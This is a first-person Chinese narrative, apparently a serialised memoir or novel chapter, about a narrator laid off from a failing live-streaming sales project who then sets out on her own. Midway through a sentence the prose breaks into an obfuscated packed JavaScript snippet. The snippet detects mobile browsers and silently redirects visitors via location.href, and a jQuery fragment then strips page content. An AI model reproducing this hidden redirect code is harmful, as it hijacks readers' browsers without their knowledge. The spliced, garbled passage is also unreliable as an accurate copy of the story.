她还想问什么的样子,又没问出口,往财务室走了几步还是回来问我的赔偿是多少,我说和L总W堂妹他们一样,没有。因为我本身之前就提辞职了的,赔不赔偿对我来说不是重点问题。这些她知道。 我没打算隐瞒她什么,“我工资是算到了月底,因为今年的年假我还没休。会计说是额外给我算的,呵呵,其实加上年假这几天差不多就是到月底。” 诗诗皱着脸眉头紧锁进了财务室。我开始收拾东西。演戏嘛,陪她们演足了,我是假戏真做,马上辞退马上就走的,不用等到下班去。 最后我俩一起走的。 “她们怎么给你算赔偿的?”我问诗诗。 她没看我,只说,“就那么算的呗。和别人一样3倍。” 我有些诧异,不是她们给她算多少赔偿金,而是她竟然能接受3倍。要知道,那么多人被开的时候她可是大大方方放过话,敢开她没有三期没有二三十万是不可能的!那气势可半点不像会吃亏会妥协的,也一度是W堂妹和会计她们最害怕最头痛的。 不过她这么说了,我也无意追问真假。除了那些十恶不赦的人,当然我觉得能被我这样定义的倒也还没遇到过,我向来喜欢真诚相待,她是真的接受也好,还是怕我知道她拿了很多赔偿也罢,她说什么我都姑且当真。 这些人是我招聘来的,现在也都是拿了赔偿走的,这个项目虽然没做成,但这样的结果也不算我坑了他们。 自我被卸任后,大直播项目一直执行不起来,他们背着我聚在一起的时候,可没稍抱怨说我坑了他们,甚至是当面也说过。说我面试时说得多好多好,结果来了就成这样的烂摊子。 最初我不知道黄谣的事情,确实面对他们的指责也很愧疚,怪自己没能排除万难在撤职前带他们落地一次项目。后来我知道撤职是因为被造黄谣,也早已经释怀,更不奇怪他们可能在造黄谣中有推波助澜的情况,人为财死的道理我懂。 别人自有别人的逻辑,我不想改变任何人,别人也别想改变我,大家能短暂地为了某个共同目标聚在一起,曾为之振奋和努力过就行。 回顾为这个直播项目没日没夜的三个多月,和被撤职后的项目直接走向群魔乱舞光怪陆离,真是令人唏嘘。眼看她起高楼,眼看她宴宾客,眼看她楼塌了。这个她也不知道该说是W总裁还是我自己,可能都是吧。 也是这会儿,我明白了为什么从官媒那边道歉回来,W总裁为什么在车上和我抱怨说怪我招的人不行。她是在埋怨,埋怨我没有在大厦将倾时扶一把,埋怨我被撤职后一直袖手旁观。虽然她知道是她的问题,但她拉不下脸,所以也是埋怨我没给她面子。 我承认,我是故意的。但凡我被卸任了之后还积极主动去掺和直播项目,对发现的问题及时贡献解决策略,可能这个项目也不会这么快破产。 包括那个我们道歉的官媒,当初W堂妹一行去听训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163824|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来,会计和我说的时候,我脑子里都会不自觉地想怎么解决怎么改进,如果我说出来,或者我再积极地准备一个解决方案,交给W堂妹和运营总监发给官媒去沟通,可能还是能挽救和继续合作的。 还有那个惹恼我当场甩脸子辞职的某工会项目,虽然W总裁她自己说不清楚人家的需求,但以往我们谈下来合作的官媒,她也没有给我说清楚过,无非就是说想去谈某个官媒让我准备一个方案,我就自己开动脑筋去规划去设计方案,全国X工会的合作并不是多么特殊,我也可以照样设计出来一个完美的合作方案。 可是,凭什么呢? 凭我不眠不休废寝忘食地燃烧我自己对项目的热情吗?凭我并没有拿到多少工资还一头扎进去超额奉献吗?凭我一腔孤勇以为只要有炙热真诚的心就能做实事就能助农带货吗?还是凭我纯粹得只求本我,不在乎别人看法不把一切造谣我的人放在眼里? 怎么可能,我没有那么高尚也没有那么纯粹,朴素的善恶有报才是我的准则。 知道黄谣真相后,我审视透了每个人的小九九,自此冷眼旁观事情朝不可挽回的地步发展而不阻止。 我戏看他们那么多双腿挤进一条裤子又为了争抢私利撕破裤衩的丑态。我把他们毫不留情地翻脸然后互相背刺插刀的残忍当戏剧欣赏。我眼睁睁看着他们在被辞退的痛苦中无地自容心生后悔而吝啬给与一丝怜悯。 我对项目的乱象和暗藏的危机不加提点。我对管理的疏漏和激化的矛盾有意放纵。我对每个人摸鱼糊弄的工作和党派倾轧了如指掌却视若无睹。我对所有人不满的声音和倾泻的恶评不加引导且充作笑料。我对老板被当场撕下脸皮谩骂而颜面扫地心生快意。 我甚至在可以走人时特地留下,全程围观这一切它发生、它演绎、它落幕。无须我亲自出手,他们便能自食恶果。其实,我不出手就已是出手了,盖因我出手,不定能达到这样糟的结果,抑或结果更糟却要付出一些反噬自身的代价。 相较而言,眼下我还是如此的纯粹。我的准则或许不是善恶有报,而是睚眦必报。足见我和这些人一样在他人看来也是可笑的。不过那又怎样,我接受全部的我,包括内心不可触摸的黑暗面。 彻底放松身心地过完了一整个周末,这个周一终于不用再上班了,我直接睡到日上三竿。 饿醒起来弄吃的,煮着面的时候电话响了,是W总裁打来的。 “在干什么呢?怎么没来上班?”一接电话,她炸雷似的声音就在那边响起。 “休息啊。”我说。 “休息什么啊休息,快点归队!新项目立即开干,就等你了!”她兴奋又激动。 我微笑回答,“你也说过嘛,终于结束了。就这样吧,我们该回到各自的轨道去,继续各自的人生创造各自的精彩,祝您在新赛道早日发财!” 刷着一条裁员裁到大动脉的笑话合集视频来下饭,我翻到一条评论:裁员裁到大动脉?说得自己都信了,资本家哪怕这一个公司倒了也能立即开下一个,你被裁了能无缝高薪下一个吗?少把冷脸洗内裤那一套带到刀光剑影的职场来,搞什么娇牛马文学呢! 我立即点了个大大的赞。这出大戏因为W总裁的各种骚气霸总发言,让我看似很娇牛马我知道,但我更清醒地明白,如果一直打工,那我终有一天可能也会被这样的假象迷惑。我需要自己的事业。 その船を漕いでゆけ 努力划好你的船吧 おまえの手で漕いでゆけ 凭借你的双手往前划吧 おまえが消えて喜ぶ者に 别把你的船桨交给 おまえのオールをまかせるな 那些会因你覆灭而雀跃的人 习惯了某信电话和联系,我的手机铃声响起时我还没反应过来,这是手机电话打进来了。可是现在是月初,我才收到欠费通知还没缴费呢,电话怎么打进来的? “喂,哪位?” “是M总吗?我是XX县的商家,是农业局这边给了我您的联系方式。”一个很不熟悉的带着浓重地方口音的男声。 “您好。”之前是和这个县农业局联系过要做地方专场的事情。 对方很开心,声音中带着十分的敬重和讨好,“M总,接近年关了,我们想问下您那边官媒还能做直播吗?我们县企业协会的商家们,想联合您那边官媒一起推荐下我们的特产年货。” 我愣了愣,随即笑了,“当然可以啊。您那边商家和产品都统计下,我这边准备报批预审。” “欸,好好好!我们已经准备好了,我跟您加下好友,给您发文件。” 挂电话后,手机里进了几条短信,显示我手机已经充值到账成功开机。应该就是这位商家着急联系我,给我充了话费。 我随即拨打了先前谈过合作的官媒,准备联系几个账号,承揽下这场直播。 打工是不可能打工的,打工也不可能打一辈子的。现在,既然W总裁接不住这个项目,那我就自己做下去吧。 我需要自己的事业。事业不会凭空而来。 此后不做娇牛马,而要警醒自己别成为那样骚气的霸总和资本家。